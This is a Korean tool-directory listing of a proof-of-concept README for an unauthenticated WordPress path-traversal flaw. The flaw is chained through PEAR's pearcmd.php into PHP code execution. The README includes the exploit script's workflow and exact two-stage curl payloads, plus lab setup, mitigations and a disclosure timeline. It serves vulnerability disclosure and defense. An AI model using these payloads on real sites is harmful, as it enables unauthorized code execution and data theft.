Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-87902-poc — CVE-2026-87902 PoC — WordPress 페이지 템플릿 해석 과정의 인증되지 않은 경로 순회(로컬 PHP 포함, 조건부 RCE), 취약한 랩 환경 고정 포함 | Kitploit
도구/GitHubGitHub/ressl/cve-2026-87902-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingLabs & Practice
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

CVE-2026-87902 PoC — WordPress 페이지 템플릿 해석 과정의 인증되지 않은 경로 순회(로컬 PHP 포함, 조건부 RCE), 취약한 랩 환경 고정 포함

저장소 보기
3181일 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-87902 — WordPress Core: 페이지 템플릿 해석에서의 비인증 경로 순회

WordPress Core에서 이중 인코딩된 pagename 값을 통한 비인증 로컬 PHP 파일 포함 — 그리고 특정 배포 조건에서는 웹 서버 계정의 권한으로 PHP 코드 실행.

CVECVE-2026-87902
벤더 권고GHSA-7hp8-65ch-5whp
분석 글CVE-2026-87902: Critical WordPress file inclusion and conditional RCE
영향 범위WordPress Core 4.7.0 – 7.1.1 (권고의 브랜치별 범위에 따르면 모든 브랜치); 7.0.2에서 동적으로 재현됨
수정 버전7.1.2 (7.1 브랜치), 7.0.6 (7.0 브랜치) 및 권고에 따르면 4.7.37까지 모든 브랜치에 대한 백포트
취약점 유형CWE-98 (include 내 파일명 제어 부적절), CWE-22 / CWE-23 (경로 순회)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (보조)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
인증없음 — 계정, 쿠키, nonce, 세션, 플러그인, 외부 요청 불필요
사용자 상호작용없음
작성자Robert Ressl — ressl.ch
PoC 검증2026-09-22, 이 저장소의 랩 환경에서 검증 — 검증된 결과 참조

요약

WordPress는 선택된 파일이 테마 루트 내부에 머무는지 결코 증명하지 않는 연쇄를 통해 Page 템플릿을 해석한다:

  1. pagename과 page_id는 WP::parse_request()가 익명 POST 본문에서 받아들이는 공개 쿼리 변수이다.
  2. pagename 내의 이중 인코딩된 순회는 초기 쿼리 정제를 이스케이프된 %xx 옥텟으로 통과한다 (wp_basename()은 %2f를 구분자로 인식하지 못하며, sanitize_title_with_dashes()는 유효한 옥텟을 의도적으로 유지한다).
  3. 이후 유효한 page_id가 실제 게시된 Page를 선택하는 동안 악의적인 pagename은 쿼리 객체에 남아 있다.
  4. get_page_template()이 나중에 해당 값에 urldecode()를 호출하고 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php와 같은 후보를 템플릿 계층에 추가한다.
  5. locate_template()과 최종 템플릿 로더는 존재 여부, 읽기 가능 여부, .php/.html 접미사만 확인할 뿐 — 정규화된 경로가 여전히 허용된 테마 루트 내부에 있는지는 결코 확인하지 않으며 — 그런 다음 이를 include한다.

이것은 WordPress Core의 비인증 원격 로컬 파일 포함 프리미티브이다. 테스트된 공식 런타임(wordpress:php8.3-apache, PEAR를 번들로 포함하고 php.ini를 로드하지 않아 register_argc_argv가 On임)에서 이 포함은 PEAR의 pearcmd.php를 통해 연쇄되었다: 첫 번째 익명 요청이 config-create로 하여금 공격자가 제어하는 PHP를 /tmp에 작성하게 하고, 두 번째 익명 요청이 그 파일을 포함하여 www-data로 실행한다.

Core의 누락된 경로 격리가 취약점이다. PEAR는 포함에서 코드 실행으로 이어지는 환경 의존적 경로 중 하나일 뿐이며 — WordPress 의존성이 아니고 모든 배포에서 존재하거나 사용 가능한 것도 아니다.

근본 원인

검증된 소스 위치 (WordPress 7.0.2):

#위치역할
1wp-includes/class-wp.php:18,322-330pagename과 page_id는 공개 쿼리 변수이며 $_POST에서 읽힌다
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — wp_basename()에게 %2f는 구분자가 아니다
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes()는 유효한 %xx 옥텟을 제거하지 않고 유지한다
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — 순회가 정제 이후에 활성화된다
5wp-includes/template.php:722-736locate_template()은 각 테마 루트 아래에 후보를 연결하고 file_exists()만 호출한다
6wp-includes/template-loader.php:116-132realpath()가 경로를 정규화한 후, 정규 루트 격리 검사 없이 include가 실행된다
7wp-includes/canonical.php:42-47redirect_canonical()은 비 GET/HEAD 요청에 대해 조기 반환하므로 POST는 정규화로 제거되지 않는다

전제 조건

독립 실행형 포함 프리미티브에는 다음이 필요하다:

#전제 조건이유
1숫자 page_id로 선택되는, 게시된 익명 접근 가능 Page경로명 조회가 실패한 후 쿼리에 의해 페이지가 반환되어야 함
2더 이른 시점에 해석 가능한 사용자 정의 페이지 템플릿이 없을 것유효하게 할당된 템플릿이 악의적 후보보다 먼저 정렬됨
3활성 (자식 또는 부모) 테마에 이름이 page-로 시작하는 최상위 디렉터리, 예: page-templates/WordPress가 고정된 page- 접두사를 앞에 붙이므로 .. 순회가 위치 0에서 시작할 수 없음; 디렉터리는 존재하고 순회 가능하기만 하면 되며 — 쓰기 가능할 필요는 없음
4PHP 사용자가 존재하고 읽을 수 있는 선택된 로컬 .php 파일로더가 is_file()/is_readable()을 확인하고 .php 접미사를 요구함
5해당 파일을 차단하는 파일시스템 격리가 없을 것open_basedir 또는 MAC 정책이 포함을 방지할 수 있음

시연된 PEAR 단계에는 추가로 읽을 수 있는 pearcmd.php (및 그 의존성), 웹 SAPI에 대한 register_argc_argv=On, 쓰기 가능한 출력 디렉터리가 필요하다. 프로덕션 php.ini 파일은 register_argc_argv=Off로 설정한다; 테스트된 이미지는 php.ini를 로드하지 않아 컴파일된 기본값(On)이 적용되었다. 이는 시연된 코드 실행 연쇄의 보급률에 대한 중요한 제한이다.

번들로 제공되는 Twenty Twenty-Three/Four/Five 테마는 최상위 page-* 디렉터리를 제공하지 않으므로, 기본 랩에는 아래에 설명된 픽스처가 필요하다. 사용자 정의 테마는 page-templates/ 레이아웃을 정당하게 사용할 수 있다 (WordPress 문서).

권고는 이러한 조건이 배포된 소프트웨어에서 어디서 발생하는지 기록한다: 테마 조건은 레거시 Twenty Twelve 및 Twenty Fourteen 테마와 Neve, Hestia, Sydney 같은 서드파티 테마에서 충족되며, PEAR 전환은 공식 PHP Docker 이미지와 PHP 8.5 미만을 실행하는 기본 cPanel 구성에 적용된다. (Twenty Twelve와 Twenty Fourteen은 모두 최상위 page-templates/ 디렉터리를 제공한다; 나머지 진술은 권고의 것이다.) 이 저장소는 전체 연쇄가 얼마나 자주 적용되는지 측정하지 않는다.

빠른 시작

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py는 Python 3.6+ (표준 라이브러리만)가 필요하며 기본적으로 http://127.0.0.1:8091의 랩에 접속한다. 예상 출력:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

종료 코드는 성공 시 0, 그렇지 않으면 1이므로 PoC는 회귀/탐지 검사로도 작동한다.

정리: docker compose down -v.

검증된 결과

2026-09-22, 이 랩 환경에서 실행 (Docker 29.4, OrbStack, Apple silicon):

검사결과
단계 1HTTP 200; /tmp/wp-pear-rce-flag.php가 www-data:www-data, 모드 0644, 1219 바이트로 작성됨
페이로드 SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 원본 보고서에 기록된 해시와 동일
단계 2HTTP 200; 주입된 PHP가 모드 0444 증명 아티팩트를 출력함
마커 발생 횟수12 (PEAR가 제어된 루트 값을 12개의 구성 항목으로 직렬화함)
사용된 자격 증명없음 — 모든 요청에 Cookie 또는 Authorization 헤더 없음
음성 대조page-templates/ 제거 → 단계 2가 정상 페이지를 반환, 마커 없음, 종료 코드 1

증명 아티팩트는 컨테이너 내부의 /flag로, root 소유이며 전 세계 읽기 가능(root:root, 모드 0444)하다. 이는 웹 서버 계정으로서 PHP 실행과 파일 접근을 증명하며; 권한 상승 대상이 아니다.

연쇄 작동 방식

두 번의 익명 POST. WordPress 라우팅 값은 폼 본문으로, PEAR 인수는 원시 쿼리 문자열로 전달된다 (PHP는 원시 쿼리 문자열을 리터럴 +로 분할하여 argv로 만들고 개별 인수를 URL 디코딩하지 않는다):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

단계 1 — pearcmd.php를 포함하고 페이로드 작성:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

단계 2 — 생성된 파일을 포함하고 그 PHP 실행:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

중요한 세부 사항:

  • 두 개의 인코딩 계층. 본문은 PHP에 의해 한 번 디코딩되어 templates%2f%2e%2e%2f...가 된다; 정제기는 그 옥텟을 유지하며, 오직 get_page_template()의 늦은 urldecode()만이 이를 /와 ..로 바꾼다.
  • page- 접두사. WordPress는 값 앞에 page-를 붙이므로, 픽스처 디렉터리 page-templates/는 선행 templates 세그먼트에 대응한다.
  • 강제 .php 접미사. 후보는 page-<decoded>.php이므로, 대상은 접미사 없이 주어진다 (.../pearcmd, /tmp/wp-pear-rce-flag).
  • GET이 아닌 POST. redirect_canonical()은 비 GET/HEAD 요청을 건너뛰며, 폼 본문은 쿼리 문자열이 PEAR 인수만 전달하도록 한다.
  • 따옴표 없는 페이로드. wp_magic_quotes()는 $_SERVER에도 적용되므로, 서버가 구성한 argv는 이스케이프되고 PEAR가 나중에 백슬래시를 정규화한다. 검증된 페이로드는 chr()을 사용하며 따옴표 문자를 포함하지 않는다. (이는 <?=file_get_contents('/flag')?>로 축약된다.)
  • config-create 루트 경로. PEAR는 상대 루트를 거부하므로 (Root directory must be an absolute path beginning with "/"), 페이로드가 루트 경로 자체로 주입된다.
  • 깊이. cve-2026-87902.py는 순회가 대상에 도달할 때까지 .. 세그먼트를 순회한다 (이 랩의 레이아웃에서는 7, 고정하려면 --depth).

랩

lab/up.sh는 세 단계를 수행하며 재실행해도 안전하다:

  1. docker compose up -d --build --wait — 고정된 wordpress:7.0.2-php8.3-apache와 mysql:8.4, 포트 127.0.0.1:8091 (루프백 전용).
  2. 사이트가 아직 설치되지 않은 경우 WordPress 설치 프로그램(admin / adminadmin)을 실행한다.
  3. 활성 테마 내부에 픽스처를 생성하고 출력한다: wp-content/themes/twentytwentyfive/page-templates/, root:root, 모드 0755, 비어 있음.

랩 이미지는 컴파일된 기본값에 의존하는 대신 register_argc_argv=On을 명시적으로 추가하고 (lab/Dockerfile), /flag를 내장한다 (root:root, 모드 0444, 내용 CVE-2026-87902-POC-OK).

구성 요소값
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, Apache 모듈
PEAR1.10.18, /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
테마Twenty Twenty-Five + 비어 있는 root 소유 page-templates/ 픽스처
대상 Page게시된 Sample Page, ID 2, 기본 템플릿
증명 아티팩트/flag, root:root, 모드 0444

롤링 wordpress:php8.3-apache 태그는 이 랩에 사용할 수 없다: 버그가 7.1.2에서 수정되었으며 고정되지 않은 태그는 랩을 조용히 패치된 상태로 만든다.

음성 대조 및 제한 사항

검증되거나 문서화된 대조:

  • 테마에 최상위 page-* 디렉터리가 없음 → 고정된 접두사를 제거할 수 없고 순회가 결코 시작되지 않음 (검증됨: 픽스처 제거 → 마커 없음).
  • register_argc_argv=Off → PEAR 작성자 없음, 그러나 포함 프리미티브는 남음.
  • PEAR 또는 그 의존성 부재 → 작성자 없음.
  • 잘못된 수의 .. 세그먼트 → 대상에 도달하지 못함 (검증됨: 깊이 1-6 및 8-12는 랩에서 마커를 생성하지 않음).
  • Page에 할당된 사용자 정의 페이지 템플릿 → 악의적 후보보다 먼저 정렬되어 우선함.
  • 접미사 없는 파일 (예: /flag)은 직접 읽을 수 없음 — 후보에 .php가 추가됨.
  • 요청 대상에서 원시 <, >, = 바이트를 거부하는 WAF/CDN/리버스 프록시는 PEAR 인수 채널을 깨뜨림 (배포별).
  • open_basedir/MAC 격리 또는 쓰기 불가능한 출력 디렉터리는 연쇄를 깨뜨림; /tmp의 noexec는 그렇지 않음 (PHP는 파일을 읽고 해석함).

이 PoC는 하나의 검증된 구성을 재현한다. 모든 WordPress 설치가 익스플로잇 가능하다고 주장하지 않으며, 보급률을 측정하지도 않는다.

완화 조치

  • 업그레이드 — WordPress 7.1.2 이상 (또는 해당 브랜치의 백포트)으로.
  • 템플릿 처리에 대한 심층 방어: 디코딩 후 순회 및 절대 경로 후보를 거부하고 (예: validate_file()), 위치가 확인된 템플릿을 포함하기 전에 후보와 테마 루트의 realpath()를 후행 디렉터리 구분자와 함께 비교한다.
  • 운영자 완화 조치: 웹 SAPI에 대해 register_argc_argv=Off를 설정하고, 프로덕션 이미지에서 사용하지 않는 웹 판독 가능 PEAR 진입점을 제거하고, 자식 및 부모 테마의 최상위 page-* 디렉터리를 감사하고, PHP 계정의 쓰기 접근을 제한한다.

파일

경로목적
cve-2026-87902.py익스플로잇: 페이지 탐지, 두 단계, 깊이 처리, 마커 검증
lab/up.sh랩을 익스플로잇이 기대하는 정확한 상태로 만듦 (멱등)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, 루프백 전용 포트
lab/Dockerfile취약한 릴리스 고정, register_argc_argv=On 설정, /flag 내장
lab/flag증명 아티팩트의 내용

공개 타임라인

날짜이벤트
2026-07-20WordPress HackerOne 프로그램을 통해 비공개로 보고됨
2026-07-21접수 확인됨
2026-09-15다가오는 릴리스에 수정이 계획되어 있다는 통보를 받음; 기여 세부 정보 요청됨
2026-09-22수정이 포함된 WordPress 7.1.2 릴리스; 권고 GHSA-7hp8-65ch-5whp 게시됨

보고서는 초기 분류가 수정된 후 유효한 보안 발견으로 승인되었다; 서신은 그 승인 날짜를 명시하지 않는다.

면책 조항

이 저장소는 방어 및 연구 목적으로 공개된다. 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에만 사용하라. 랩은 127.0.0.1에 바인딩되어 있으며 신뢰할 수 없는 네트워크에 노출되어서는 안 된다.

라이선스

MIT — LICENSE 참조. 인용 메타데이터는 CITATION.cff에 있다:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

취약점 보고서와 이 PoC는 구성 및 일관성 검토를 위해 AI 지원으로 준비되었다; 기술적 주장에 대한 책임은 연구자에게 있다.

도구 다운로드